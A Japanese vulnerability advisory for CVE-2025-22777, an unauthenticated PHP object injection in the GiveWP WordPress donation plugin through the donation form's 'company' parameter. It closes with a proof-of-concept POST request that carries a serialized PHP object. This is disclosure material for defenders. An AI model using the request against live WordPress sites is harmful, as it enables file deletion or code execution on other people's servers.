CVE-2025-22777

GiveWP – Donation Plugin and Fundraising Platform <= 3.19.3 - 認証なしPHPオブジェクトインジェクション

説明

WordPress用プラグイン「GiveWP – Donation Plugin and Fundraising Platform」は、バージョン3.19.3までの全バージョンにおいて、寄付フォームの'company'パラメータを介した信頼できない入力の逆シリアライズにより、PHPオブジェクトインジェクションに対して脆弱です。これにより、認証されていない攻撃者がPHPオブジェクトを注入することが可能になります。さらにPOPチェーンが存在する場合、攻撃者はサーバー上の任意のファイルを削除でき、リモートコード実行が可能になります。なお、この脆弱性はCVE-2024-12877の修正を回避するバイパスを含むことに注意してください。

詳細

• タイプ: プラグイン
• スラッグ: give
• 影響を受けるバージョン: 3.19.3
• CVSSスコア: 9.8
• CVSS評価: 緊急
• CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• ステータス: アクティブ

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=